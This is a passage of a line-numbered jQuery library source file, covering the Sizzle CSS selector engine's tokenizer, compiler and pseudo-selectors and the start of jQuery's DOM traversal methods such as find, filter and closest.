966 var ret = matches.call(elem, expr);
967 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
968 return ret
969 }
970 } catch (e) {}
971 }
972 return Sizzle(expr, document, null, [elem]).length > 0
973 };
974 Sizzle.contains = function(context, elem) {
975 if ((context.ownerDocument || context) !== document) {
976 setDocument(context)
977 }
978 return contains(context, elem)
979 };
980 Sizzle.attr = function(elem, name) {
981 if ((elem.ownerDocument || elem) !== document) {
982 setDocument(elem)
983 }
984 var fn = Expr.attrHandle[name.toLowerCase()],
985 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
986 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
987 };
988 Sizzle.error = function(msg) {
989 throw new Error("Syntax error, unrecognized expression: " + msg);
990 };
991 Sizzle.uniqueSort = function(results) {
992 var elem, duplicates = [],
993 j = 0,
994 i = 0;
995 hasDuplicate = !support.detectDuplicates;
996 sortInput = !support.sortStable && results.slice(0);
997 results.sort(sortOrder);
998 if (hasDuplicate) {
999 while ((elem = results[i++])) {
1000 if (elem === results[i]) {
1001 j = duplicates.push(i)
1002 }
1003 }
1004 while (j--) {
1005 results.splice(duplicates[j], 1)
1006 }
1007 }
1008 sortInput = null;
1009 return results
1010 };
1011 getText = Sizzle.getText = function(elem) {
1012 var node, ret = "",
1013 i = 0,
1014 nodeType = elem.nodeType;
1015 if (!nodeType) {
1016 while ((node = elem[i++])) {
1017 ret += getText(node)
1018 }
1019 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
1020 if (typeof elem.textContent === "string") {
1021 return elem.textContent
1022 } else {
1023 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1024 ret += getText(elem)
1025 }
1026 }
1027 } else if (nodeType === 3 || nodeType === 4) {
1028 return elem.nodeValue
1029 }
1030 return ret
1031 };
1032 Expr = Sizzle.selectors = {
1033 cacheLength: 50,
1034 createPseudo: markFunction,
1035 match: matchExpr,
1036 attrHandle: {},
1037 find: {},
1038 relative: {
1039 ">": {
1040 dir: "parentNode",
1041 first: true
1042 },
1043 " ": {
1044 dir: "parentNode"
1045 },
1046 "+": {
1047 dir: "previousSibling",
1048 first: true
1049 },
1050 "~": {
1051 dir: "previousSibling"
1052 }
1053 },
1054 preFilter: {
1055 "ATTR": function(match) {
1056 match[1] = match[1].replace(runescape, funescape);
1057 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1058 if (match[2] === "~=") {
1059 match[3] = " " + match[3] + " "
1060 }
1061 return match.slice(0, 4)
1062 },
1063 "CHILD": function(match) {
1064 match[1] = match[1].toLowerCase();
1065 if (match[1].slice(0, 3) === "nth") {
1066 if (!match[3]) {
1067 Sizzle.error(match[0])
1068 }
1069 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1070 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1071 } else if (match[3]) {
1072 Sizzle.error(match[0])
1073 }
1074 return match
1075 },
1076 "PSEUDO": function(match) {
1077 var excess, unquoted = !match[6] && match[2];
1078 if (matchExpr["CHILD"].test(match[0])) {
1079 return null
1080 }
1081 if (match[3]) {
1082 match[2] = match[4] || match[5] || ""
1083 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1084 match[0] = match[0].slice(0, excess);
1085 match[2] = unquoted.slice(0, excess)
1086 }
1087 return match.slice(0, 3)
1088 }
1089 },
1090 filter: {
1091 "TAG": function(nodeNameSelector) {
1092 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1093 return nodeNameSelector === "*" ? function() {
1094 return true
1095 } : function(elem) {
1096 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1097 }
1098 },
1099 "CLASS": function(className) {
1100 var pattern = classCache[className + " "];
1101 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1102 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1103 })
1104 },
1105 "ATTR": function(name, operator, check) {
1106 return function(elem) {
1107 var result = Sizzle.attr(elem, name);
1108 if (result == null) {
1109 return operator === "!="
1110 }
1111 if (!operator) {
1112 return true
1113 }
1114 result += "";
1115 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1116 }
1117 },
1118 "CHILD": function(type, what, argument, first, last) {
1119 var simple = type.slice(0, 3) !== "nth",
1120 forward = type.slice(-4) !== "last",
1121 ofType = what === "of-type";
1122 return first === 1 && last === 0 ? function(elem) {
1123 return !!elem.parentNode
1124 } : function(elem, context, xml) {
1125 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1126 parent = elem.parentNode,
1127 name = ofType && elem.nodeName.toLowerCase(),
1128 useCache = !xml && !ofType;
1129 if (parent) {
1130 if (simple) {
1131 while (dir) {
1132 node = elem;
1133 while ((node = node[dir])) {
1134 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1135 return false
1136 }
1137 }
1138 start = dir = type === "only" && !start && "nextSibling"
1139 }
1140 return true
1141 }
1142 start = [forward ? parent.firstChild : parent.lastChild];
1143 if (forward && useCache) {
1144 outerCache = parent[expando] || (parent[expando] = {});
1145 cache = outerCache[type] || [];
1146 nodeIndex = cache[0] === dirruns && cache[1];
1147 diff = cache[0] === dirruns && cache[2];
1148 node = nodeIndex && parent.childNodes[nodeIndex];
1149 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1150 if (node.nodeType === 1 && ++diff && node === elem) {
1151 outerCache[type] = [dirruns, nodeIndex, diff];
1152 break
1153 }
1154 }
1155 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1156 diff = cache[1]
1157 } else {
1158 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1159 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1160 if (useCache) {
1161 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1162 }
1163 if (node === elem) {
1164 break
1165 }
1166 }
1167 }
1168 }
1169 diff -= last;
1170 return diff === first || (diff % first === 0 && diff / first >= 0)
1171 }
1172 }
1173 },
1174 "PSEUDO": function(pseudo, argument) {
1175 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1176 if (fn[expando]) {
1177 return fn(argument)
1178 }
1179 if (fn.length > 1) {
1180 args = [pseudo, pseudo, "", argument];
1181 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1182 var idx, matched = fn(seed, argument),
1183 i = matched.length;
1184 while (i--) {
1185 idx = indexOf(seed, matched[i]);
1186 seed[idx] = !(matches[idx] = matched[i])
1187 }
1188 }) : function(elem) {
1189 return fn(elem, 0, args)
1190 }
1191 }
1192 return fn
1193 }
1194 },
1195 pseudos: {
1196 "not": markFunction(function(selector) {
1197 var input = [],
1198 results = [],
1199 matcher = compile(selector.replace(rtrim, "$1"));
1200 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1201 var elem, unmatched = matcher(seed, null, xml, []),
1202 i = seed.length;
1203 while (i--) {
1204 if ((elem = unmatched[i])) {
1205 seed[i] = !(matches[i] = elem)
1206 }
1207 }
1208 }) : function(elem, context, xml) {
1209 input[0] = elem;
1210 matcher(input, null, xml, results);
1211 input[0] = null;
1212 return !results.pop()
1213 }
1214 }),
1215 "has": markFunction(function(selector) {
1216 return function(elem) {
1217 return Sizzle(selector, elem).length > 0
1218 }
1219 }),
1220 "contains": markFunction(function(text) {
1221 text = text.replace(runescape, funescape);
1222 return function(elem) {
1223 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1224 }
1225 }),
1226 "lang": markFunction(function(lang) {
1227 if (!ridentifier.test(lang || "")) {
1228 Sizzle.error("unsupported lang: " + lang)
1229 }
1230 lang = lang.replace(runescape, funescape).toLowerCase();
1231 return function(elem) {
1232 var elemLang;
1233 do {
1234 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1235 elemLang = elemLang.toLowerCase();
1236 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1237 }
1238 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1239 return false
1240 }
1241 }),
1242 "target": function(elem) {
1243 var hash = window.location && window.location.hash;
1244 return hash && hash.slice(1) === elem.id
1245 },
1246 "root": function(elem) {
1247 return elem === docElem
1248 },
1249 "focus": function(elem) {
1250 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1251 },
1252 "enabled": function(elem) {
1253 return elem.disabled === false
1254 },
1255 "disabled": function(elem) {
1256 return elem.disabled === true
1257 },
1258 "checked": function(elem) {
1259 var nodeName = elem.nodeName.toLowerCase();
1260 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1261 },
1262 "selected": function(elem) {
1263 if (elem.parentNode) {
1264 elem.parentNode.selectedIndex
1265 }
1266 return elem.selected === true
1267 },
1268 "empty": function(elem) {
1269 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1270 if (elem.nodeType < 6) {
1271 return false
1272 }
1273 }
1274 return true
1275 },
1276 "parent": function(elem) {
1277 return !Expr.pseudos["empty"](elem)
1278 },
1279 "header": function(elem) {
1280 return rheader.test(elem.nodeName)
1281 },
1282 "input": function(elem) {
1283 return rinputs.test(elem.nodeName)
1284 },
1285 "button": function(elem) {
1286 var name = elem.nodeName.toLowerCase();
1287 return name === "input" && elem.type === "button" || name === "button"
1288 },
1289 "text": function(elem) {
1290 var attr;
1291 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1292 },
1293 "first": createPositionalPseudo(function() {
1294 return [0]
1295 }),
1296 "last": createPositionalPseudo(function(matchIndexes, length) {
1297 return [length - 1]
1298 }),
1299 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1300 return [argument < 0 ? argument + length : argument]
1301 }),
1302 "even": createPositionalPseudo(function(matchIndexes, length) {
1303 var i = 0;
1304 for (; i < length; i += 2) {
1305 matchIndexes.push(i)
1306 }
1307 return matchIndexes
1308 }),
1309 "odd": createPositionalPseudo(function(matchIndexes, length) {
1310 var i = 1;
1311 for (; i < length; i += 2) {
1312 matchIndexes.push(i)
1313 }
1314 return matchIndexes
1315 }),
1316 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1317 var i = argument < 0 ? argument + length : argument;
1318 for (; --i >= 0;) {
1319 matchIndexes.push(i)
1320 }
1321 return matchIndexes
1322 }),
1323 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1324 var i = argument < 0 ? argument + length : argument;
1325 for (; ++i < length;) {
1326 matchIndexes.push(i)
1327 }
1328 return matchIndexes
1329 })
1330 }
1331 };
1332 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1333 for (i in {
1334 radio: true,
1335 checkbox: true,
1336 file: true,
1337 password: true,
1338 image: true
1339 }) {
1340 Expr.pseudos[i] = createInputPseudo(i)
1341 }
1342 for (i in {
1343 submit: true,
1344 reset: true
1345 }) {
1346 Expr.pseudos[i] = createButtonPseudo(i)
1347 }
1348
1349 function setFilters() {}
1350 setFilters.prototype = Expr.filters = Expr.pseudos;
1351 Expr.setFilters = new setFilters();
1352 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1353 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1354 if (cached) {
1355 return parseOnly ? 0 : cached.slice(0)
1356 }
1357 soFar = selector;
1358 groups = [];
1359 preFilters = Expr.preFilter;
1360 while (soFar) {
1361 if (!matched || (match = rcomma.exec(soFar))) {
1362 if (match) {
1363 soFar = soFar.slice(match[0].length) || soFar
1364 }
1365 groups.push((tokens = []))
1366 }
1367 matched = false;
1368 if ((match = rcombinators.exec(soFar))) {
1369 matched = match.shift();
1370 tokens.push({
1371 value: matched,
1372 type: match[0].replace(rtrim, " ")
1373 });
1374 soFar = soFar.slice(matched.length)
1375 }
1376 for (type in Expr.filter) {
1377 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1378 matched = match.shift();
1379 tokens.push({
1380 value: matched,
1381 type: type,
1382 matches: match
1383 });
1384 soFar = soFar.slice(matched.length)
1385 }
1386 }
1387 if (!matched) {
1388 break
1389 }
1390 }
1391 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1392 };
1393
1394 function toSelector(tokens) {
1395 var i = 0,
1396 len = tokens.length,
1397 selector = "";
1398 for (; i < len; i++) {
1399 selector += tokens[i].value
1400 }
1401 return selector
1402 }
1403
1404 function addCombinator(matcher, combinator, base) {
1405 var dir = combinator.dir,
1406 checkNonElements = base && dir === "parentNode",
1407 doneName = done++;
1408 return combinator.first ? function(elem, context, xml) {
1409 while ((elem = elem[dir])) {
1410 if (elem.nodeType === 1 || checkNonElements) {
1411 return matcher(elem, context, xml)
1412 }
1413 }
1414 } : function(elem, context, xml) {
1415 var oldCache, outerCache, newCache = [dirruns, doneName];
1416 if (xml) {
1417 while ((elem = elem[dir])) {
1418 if (elem.nodeType === 1 || checkNonElements) {
1419 if (matcher(elem, context, xml)) {
1420 return true
1421 }
1422 }
1423 }
1424 } else {
1425 while ((elem = elem[dir])) {
1426 if (elem.nodeType === 1 || checkNonElements) {
1427 outerCache = elem[expando] || (elem[expando] = {});
1428 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1429 return (newCache[2] = oldCache[2])
1430 } else {
1431 outerCache[dir] = newCache;
1432 if ((newCache[2] = matcher(elem, context, xml))) {
1433 return true
1434 }
1435 }
1436 }
1437 }
1438 }
1439 }
1440 }
1441
1442 function elementMatcher(matchers) {
1443 return matchers.length > 1 ? function(elem, context, xml) {
1444 var i = matchers.length;
1445 while (i--) {
1446 if (!matchers[i](elem, context, xml)) {
1447 return false
1448 }
1449 }
1450 return true
1451 } : matchers[0]
1452 }
1453
1454 function multipleContexts(selector, contexts, results) {
1455 var i = 0,
1456 len = contexts.length;
1457 for (; i < len; i++) {
1458 Sizzle(selector, contexts[i], results)
1459 }
1460 return results
1461 }
1462
1463 function condense(unmatched, map, filter, context, xml) {
1464 var elem, newUnmatched = [],
1465 i = 0,
1466 len = unmatched.length,
1467 mapped = map != null;
1468 for (; i < len; i++) {
1469 if ((elem = unmatched[i])) {
1470 if (!filter || filter(elem, context, xml)) {
1471 newUnmatched.push(elem);
1472 if (mapped) {
1473 map.push(i)
1474 }
1475 }
1476 }
1477 }
1478 return newUnmatched
1479 }
1480
1481 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1482 if (postFilter && !postFilter[expando]) {
1483 postFilter = setMatcher(postFilter)
1484 }
1485 if (postFinder && !postFinder[expando]) {
1486 postFinder = setMatcher(postFinder, postSelector)
1487 }
1488 return markFunction(function(seed, results, context, xml) {
1489 var temp, i, elem, preMap = [],
1490 postMap = [],
1491 preexisting = results.length,
1492 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1493 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1494 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1495 if (matcher) {
1496 matcher(matcherIn, matcherOut, context, xml)
1497 }
1498 if (postFilter) {
1499 temp = condense(matcherOut, postMap);
1500 postFilter(temp, [], context, xml);
1501 i = temp.length;
1502 while (i--) {
1503 if ((elem = temp[i])) {
1504 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1505 }
1506 }
1507 }
1508 if (seed) {
1509 if (postFinder || preFilter) {
1510 if (postFinder) {
1511 temp = [];
1512 i = matcherOut.length;
1513 while (i--) {
1514 if ((elem = matcherOut[i])) {
1515 temp.push((matcherIn[i] = elem))
1516 }
1517 }
1518 postFinder(null, (matcherOut = []), temp, xml)
1519 }
1520 i = matcherOut.length;
1521 while (i--) {
1522 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1523 seed[temp] = !(results[temp] = elem)
1524 }
1525 }
1526 }
1527 } else {
1528 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1529 if (postFinder) {
1530 postFinder(null, results, matcherOut, xml)
1531 } else {
1532 push.apply(results, matcherOut)
1533 }
1534 }
1535 })
1536 }
1537
1538 function matcherFromTokens(tokens) {
1539 var checkContext, matcher, j, len = tokens.length,
1540 leadingRelative = Expr.relative[tokens[0].type],
1541 implicitRelative = leadingRelative || Expr.relative[" "],
1542 i = leadingRelative ? 1 : 0,
1543 matchContext = addCombinator(function(elem) {
1544 return elem === checkContext
1545 }, implicitRelative, true),
1546 matchAnyContext = addCombinator(function(elem) {
1547 return indexOf(checkContext, elem) > -1
1548 }, implicitRelative, true),
1549 matchers = [function(elem, context, xml) {
1550 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1551 checkContext = null;
1552 return ret
1553 }];
1554 for (; i < len; i++) {
1555 if ((matcher = Expr.relative[tokens[i].type])) {
1556 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1557 } else {
1558 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1559 if (matcher[expando]) {
1560 j = ++i;
1561 for (; j < len; j++) {
1562 if (Expr.relative[tokens[j].type]) {
1563 break
1564 }
1565 }
1566 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1567 value: tokens[i - 2].type === " " ? "*" : ""
1568 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1569 }
1570 matchers.push(matcher)
1571 }
1572 }
1573 return elementMatcher(matchers)
1574 }
1575
1576 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1577 var bySet = setMatchers.length > 0,
1578 byElement = elementMatchers.length > 0,
1579 superMatcher = function(seed, context, xml, results, outermost) {
1580 var elem, j, matcher, matchedCount = 0,
1581 i = "0",
1582 unmatched = seed && [],
1583 setMatched = [],
1584 contextBackup = outermostContext,
1585 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1586 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1587 len = elems.length;
1588 if (outermost) {
1589 outermostContext = context !== document && context
1590 }
1591 for (; i !== len && (elem = elems[i]) != null; i++) {
1592 if (byElement && elem) {
1593 j = 0;
1594 while ((matcher = elementMatchers[j++])) {
1595 if (matcher(elem, context, xml)) {
1596 results.push(elem);
1597 break
1598 }
1599 }
1600 if (outermost) {
1601 dirruns = dirrunsUnique
1602 }
1603 }
1604 if (bySet) {
1605 if ((elem = !matcher && elem)) {
1606 matchedCount--
1607 }
1608 if (seed) {
1609 unmatched.push(elem)
1610 }
1611 }
1612 }
1613 matchedCount += i;
1614 if (bySet && i !== matchedCount) {
1615 j = 0;
1616 while ((matcher = setMatchers[j++])) {
1617 matcher(unmatched, setMatched, context, xml)
1618 }
1619 if (seed) {
1620 if (matchedCount > 0) {
1621 while (i--) {
1622 if (!(unmatched[i] || setMatched[i])) {
1623 setMatched[i] = pop.call(results)
1624 }
1625 }
1626 }
1627 setMatched = condense(setMatched)
1628 }
1629 push.apply(results, setMatched);
1630 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1631 Sizzle.uniqueSort(results)
1632 }
1633 }
1634 if (outermost) {
1635 dirruns = dirrunsUnique;
1636 outermostContext = contextBackup
1637 }
1638 return unmatched
1639 };
1640 return bySet ? markFunction(superMatcher) : superMatcher
1641 }
1642 compile = Sizzle.compile = function(selector, match) {
1643 var i, setMatchers = [],
1644 elementMatchers = [],
1645 cached = compilerCache[selector + " "];
1646 if (!cached) {
1647 if (!match) {
1648 match = tokenize(selector)
1649 }
1650 i = match.length;
1651 while (i--) {
1652 cached = matcherFromTokens(match[i]);
1653 if (cached[expando]) {
1654 setMatchers.push(cached)
1655 } else {
1656 elementMatchers.push(cached)
1657 }
1658 }
1659 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1660 cached.selector = selector
1661 }
1662 return cached
1663 };
1664 select = Sizzle.select = function(selector, context, results, seed) {
1665 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1666 match = !seed && tokenize((selector = compiled.selector || selector));
1667 results = results || [];
1668 if (match.length === 1) {
1669 tokens = match[0] = match[0].slice(0);
1670 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1671 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1672 if (!context) {
1673 return results
1674 } else if (compiled) {
1675 context = context.parentNode
1676 }
1677 selector = selector.slice(tokens.shift().value.length)
1678 }
1679 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1680 while (i--) {
1681 token = tokens[i];
1682 if (Expr.relative[(type = token.type)]) {
1683 break
1684 }
1685 if ((find = Expr.find[type])) {
1686 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1687 tokens.splice(i, 1);
1688 selector = seed.length && toSelector(tokens);
1689 if (!selector) {
1690 push.apply(results, seed);
1691 return results
1692 }
1693 break
1694 }
1695 }
1696 }
1697 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1698 return results
1699 };
1700 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1701 support.detectDuplicates = !!hasDuplicate;
1702 setDocument();
1703 support.sortDetached = assert(function(div1) {
1704 return div1.compareDocumentPosition(document.createElement("div")) & 1
1705 });
1706 if (!assert(function(div) {
1707 div.innerHTML = "<a href='#'></a>";
1708 return div.firstChild.getAttribute("href") === "#"
1709 })) {
1710 addHandle("type|href|height|width", function(elem, name, isXML) {
1711 if (!isXML) {
1712 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1713 }
1714 })
1715 }
1716 if (!support.attributes || !assert(function(div) {
1717 div.innerHTML = "<input/>";
1718 div.firstChild.setAttribute("value", "");
1719 return div.firstChild.getAttribute("value") === ""
1720 })) {
1721 addHandle("value", function(elem, name, isXML) {
1722 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1723 return elem.defaultValue
1724 }
1725 })
1726 }
1727 if (!assert(function(div) {
1728 return div.getAttribute("disabled") == null
1729 })) {
1730 addHandle(booleans, function(elem, name, isXML) {
1731 var val;
1732 if (!isXML) {
1733 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1734 }
1735 })
1736 }
1737 return Sizzle
1738 })(window);
1739 jQuery.find = Sizzle;
1740 jQuery.expr = Sizzle.selectors;
1741 jQuery.expr[":"] = jQuery.expr.pseudos;
1742 jQuery.unique = Sizzle.uniqueSort;
1743 jQuery.text = Sizzle.getText;
1744 jQuery.isXMLDoc = Sizzle.isXML;
1745 jQuery.contains = Sizzle.contains;
1746 var rneedsContext = jQuery.expr.match.needsContext;
1747 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1748 var risSimple = /^.[^:#\[\.,]*$/;
1749
1750 function winnow(elements, qualifier, not) {
1751 if (jQuery.isFunction(qualifier)) {
1752 return jQuery.grep(elements, function(elem, i) {
1753 return !!qualifier.call(elem, i, elem) !== not
1754 })
1755 }
1756 if (qualifier.nodeType) {
1757 return jQuery.grep(elements, function(elem) {
1758 return (elem === qualifier) !== not
1759 })
1760 }
1761 if (typeof qualifier === "string") {
1762 if (risSimple.test(qualifier)) {
1763 return jQuery.filter(qualifier, elements, not)
1764 }
1765 qualifier = jQuery.filter(qualifier, elements)
1766 }
1767 return jQuery.grep(elements, function(elem) {
1768 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1769 })
1770 }
1771 jQuery.filter = function(expr, elems, not) {
1772 var elem = elems[0];
1773 if (not) {
1774 expr = ":not(" + expr + ")"
1775 }
1776 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1777 return elem.nodeType === 1
1778 }))
1779 };
1780 jQuery.fn.extend({
1781 find: function(selector) {
1782 var i, ret = [],
1783 self = this,
1784 len = self.length;
1785 if (typeof selector !== "string") {
1786 return this.pushStack(jQuery(selector).filter(function() {
1787 for (i = 0; i < len; i++) {
1788 if (jQuery.contains(self[i], this)) {
1789 return true
1790 }
1791 }
1792 }))
1793 }
1794 for (i = 0; i < len; i++) {
1795 jQuery.find(selector, self[i], ret)
1796 }
1797 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1798 ret.selector = this.selector ? this.selector + " " + selector : selector;
1799 return ret
1800 },
1801 filter: function(selector) {
1802 return this.pushStack(winnow(this, selector || [], false))
1803 },
1804 not: function(selector) {
1805 return this.pushStack(winnow(this, selector || [], true))
1806 },
1807 is: function(selector) {
1808 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1809 }
1810 });
1811 var rootjQuery, document = window.document,
1812 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1813 init = jQuery.fn.init = function(selector, context) {
1814 var match, elem;
1815 if (!selector) {
1816 return this
1817 }
1818 if (typeof selector === "string") {
1819 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1820 match = [null, selector, null]
1821 } else {
1822 match = rquickExpr.exec(selector)
1823 }
1824 if (match && (match[1] || !context)) {
1825 if (match[1]) {
1826 context = context instanceof jQuery ? context[0] : context;
1827 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1828 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1829 for (match in context) {
1830 if (jQuery.isFunction(this[match])) {
1831 this[match](context[match])
1832 } else {
1833 this.attr(match, context[match])
1834 }
1835 }
1836 }
1837 return this
1838 } else {
1839 elem = document.getElementById(match[2]);
1840 if (elem && elem.parentNode) {
1841 if (elem.id !== match[2]) {
1842 return rootjQuery.find(selector)
1843 }
1844 this.length = 1;
1845 this[0] = elem
1846 }
1847 this.context = document;
1848 this.selector = selector;
1849 return this
1850 }
1851 } else if (!context || context.jquery) {
1852 return (context || rootjQuery).find(selector)
1853 } else {
1854 return this.constructor(context).find(selector)
1855 }
1856 } else if (selector.nodeType) {
1857 this.context = this[0] = selector;
1858 this.length = 1;
1859 return this
1860 } else if (jQuery.isFunction(selector)) {
1861 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1862 }
1863 if (selector.selector !== undefined) {
1864 this.selector = selector.selector;
1865 this.context = selector.context
1866 }
1867 return jQuery.makeArray(selector, this)
1868 };
1869 init.prototype = jQuery.fn;
1870 rootjQuery = jQuery(document);
1871 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1872 guaranteedUnique = {
1873 children: true,
1874 contents: true,
1875 next: true,
1876 prev: true
1877 };
1878 jQuery.extend({
1879 dir: function(elem, dir, until) {
1880 var matched = [],
1881 cur = elem[dir];
1882 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1883 if (cur.nodeType === 1) {
1884 matched.push(cur)
1885 }
1886 cur = cur[dir]
1887 }
1888 return matched
1889 },
1890 sibling: function(n, elem) {
1891 var r = [];
1892 for (; n; n = n.nextSibling) {
1893 if (n.nodeType === 1 && n !== elem) {
1894 r.push(n)
1895 }
1896 }
1897 return r
1898 }
1899 });
1900 jQuery.fn.extend({
1901 has: function(target) {
1902 var i, targets = jQuery(target, this),
1903 len = targets.length;
1904 return this.filter(function() {
1905 for (i = 0; i < len; i++) {
1906 if (jQuery.contains(this, targets[i])) {
1907 return true
1908 }
1909 }
1910 })
1911 },
1912 closest: function(selectors, context) {
1913 var cur, i = 0,
1914 l = this.length,
1915 matched = [],
1916 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1917 for (; i < l; i++) {
1918 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1919 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1920 matched.push(cur);
1921 break
1922 }
1923 }
1924 }
1925 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1926 },
1927 index: function(elem) {
1928 if (!elem) {
1929 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1930 }
1931 if (typeof elem === "string") {
